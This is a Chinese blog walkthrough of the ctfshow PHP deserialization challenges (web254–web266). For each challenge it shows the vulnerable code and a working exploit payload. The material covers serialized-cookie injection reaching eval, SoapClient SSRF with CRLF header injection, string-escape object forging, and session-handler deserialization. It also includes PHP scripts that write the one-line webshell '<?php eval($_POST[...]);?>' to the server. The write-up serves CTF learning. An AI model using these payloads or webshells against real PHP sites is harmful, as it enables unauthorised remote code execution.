ctfshow 反序列化篇

web254

满足条件:

 public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    } 

没有考反序列化,简单的看代码。payload:?username=xxxxxx&password=xxxxxx。

web255

改了一点代码,反序列化在cookie上。为

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        } 

同时我们要修改$isVip=false为true。把序列化字符串传入cookie中。刚开始传几次都不成功,不知道是咋了。poc为

GET /?username=xxxxxx&password=xxxxxx HTTP/1.1
Host: 2acfddcb-0a0c-4dfe-965e-0cf5306b8b62.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
Upgrade-Insecure-Requests: 1

成功得出flag。

web256

这个又改了一点代码,我们要改username或者password不让他们相等。

 public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    } 

同样在cookie中传参。payload为:

?username=xxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

成功得出flag。

web257

这题改的比较多,看核心代码:

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

我们需要通过eval函数执行命令。那么我们就需要把class实例化backDoor类,需要在construct魔术方法中修改同时,我们也要修改backDoor的属性值。因为本题中有private私有属性修饰,所以要url编码一下。最终payload:

?username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

成功得出flag。

web258

跟上一题比,多了一个过滤。还把private改为了public,可能为我们做题人着想吧。

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

绕过过滤只需要在数字前面填上+号,例如O:+11和O:+8。payload为

?username=1&password=2
Cookie:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

成功得出flag。

web259(SoapClient内置类与CRLF)

这题画风跟之前的一点都不一样啊。看题目代码:

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

感觉要用到内置类了,看题目中给的hint,

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

这段代码告诉我们要用x-f-f伪造ip,并且传入一个token参数内容为ctfshow。就会把flag写入到flag.txt了。这个是我的知识盲区了,看了看师傅们写的wp,这里是要用到SoapClient内置类,这个类是专门来访问web服务的类,也是用来打SSRF的类。访问SoapClient类中不存在的方法会自动调用其中的__call方法,那么我们就用SoapClient类来构造请求数据包。先构造一下poc。

<?php

$ua = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";

$a = new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));

echo urlencode(serialize($a));
?>

CRLF,也就是\r\n,是http数据包的换行,数据包头部和尾部之间有两个CRLF,UA头是我们可控的部分,那么我们就可以配合CRLF来构造Content-Type和Content-Length等等。更多了解看Y4师傅的文章:从一道题学习SoapClient与CRLF组合拳_Y4tacker的博客-CSDN博客

运行SoapClient类需要添加soap模块。payload为

?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A141%3A%22ctfshow%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1r%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

访问flag.txt得出flag。

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

满足我们传入的参数有ctfshow_i_love_36D就可以了。构造poc为

<?php
class a{
	public $c = "ctfshow_i_love_36D";
}
$q = new a();
echo urlencode(serialize($q));
?>

成功得出flag。

web261

看题目代码:

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
} 

整体看下代码,有两个利用点,一个是invoke方法里的eval函数,一个是file_get_contents的写入函数,invoke魔法函数是类被当作函数触发,这里没有利用点,执行读写函数需要满足code==0x36d,因为是弱类型比较,转十进制就是877了。同时也要绕过wakeup函数,只需要类的属性值大于本身就行了。我们可以username=877.php,password写一句话木马,构造poc为

<?php
class ctfshowvip{
    public $username="877.php";
    public $password="<?php eval(\$_POST[1]);?>";
    public $code='877'; 
}
$a = new ctfshowvip();
echo urlencode(serialize($a));
?>

在做题过程中好像不需要绕过wakeup函数。

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

植入木马就可以通过命令执行得出flag了。

web262(字符逃逸)

看题目代码:

error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

光看这代码无从下手啊,其实还有另一段代码,访问message.php得出代码:

highlight_file(__FILE__);
include('flag.php');
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

只需要满足token==admin即可,token我们不能直接传参,可以通过字符逃逸来完成。这里每一个fuck字符串就会多一个字符。看看普通的序列化链。

 用双引号将其闭合,所以我们可以在$to赋值为";s:5:"token";s:4:"user";},这些就是我们要逃逸的字符,有27个,那么我们就加上27个fuck字符串。payload为

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

再访问message.php就出现了flag。

web263(session反序列化)

打开题目是一个登录框,www.zip源码泄露,把源码下载下来审计。这一题考的是session反序列化,不太熟悉的可以参考这篇文章:PHP session反序列化总结 - FreeBuf网络安全行业门户

看check.php里面有一个包含了inc/inc.php,那么就先查看这个文件。

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

这里只截取了对我们有用的部分,这里__destruct魔术方法里有一个文件写入函数,因为username和password我们可控,所以我们可以在这个函数中写入shell了。

这里用的是php处理器,它在session文件的存储格式类似于这样。

name|s:8:"XiLitter";

在读取session文件的时候,它会把竖线后面的进行反序列化。而在php_serialize处理器下,它会把键名和键值同时进行序列化存储。

a:1:{s:4:"name";s:8:"XiLitter";}

再看一下index.php的源码 。

error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}

这里对COOKIE中的limit进行了base64解码,并赋值。那么把我们的payload写入cookie里,就可以反序列化写入我们的shell了。最后看一下check.php,这里包含了目标文件。

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);

这里需要传入u和pass参数。那么我们就可以先在本地生成一个序列化链,前面加一个|。poc为

<?php
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
        }
}
$a = new User("2.php","<?php eval(\$_POST[a]);phpinfo();?>");
echo urlencode(base64_encode('|'.serialize($a)));
?>

得出来的payload为

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIyLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbYV0pO3BocGluZm8oKTs%2FPiI7czo2OiJzdGF0dXMiO047fQ%3D%3D

然后把编码后的结果加入cookie里,登录check.php,最后访问我们写入的文件就可以命令执行了。

web264(字符逃逸)

这题的代码可以参照web262的,基本上是没什么改动的。唯一变化的就是

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

要在session中有这个msg。只要有就行,值随意写。上一个payload直接用,访问message.php直接得出flag。

web265(指针引用)

看一下代码:

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

这里的mt_rand()函数是生成随机整数,然后md5加密。那么一般方法是满足不了token与password全等的,

这里要运用到php的地址传参,让token和password都指向同一块地址,这样的话,无论token传入什么值,它两都是相等的。那么构造的poc为

<?php
class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;
    }
}
$a=new ctfshowAdmin('1','1');
echo serialize($a);
?>

注意有一个&地址符。打入payload得出flag。

web266

这代码逻辑也比较简单。

highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

不能抛出异常,不然不会执行这个__destruct()这个魔术方法,那么就要绕过这个正则,正则里面是没有i的,所以可以用大写绕过。这里主要还是php对大小写不敏感。简单构造poc:

<?php
CTFSHOW{};
$a = new CTFSHOW();
echo serialize($a);
?>

抓包打入得出flag。

结语

剩下的php框架反序列化漏洞会单独学习和练习。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值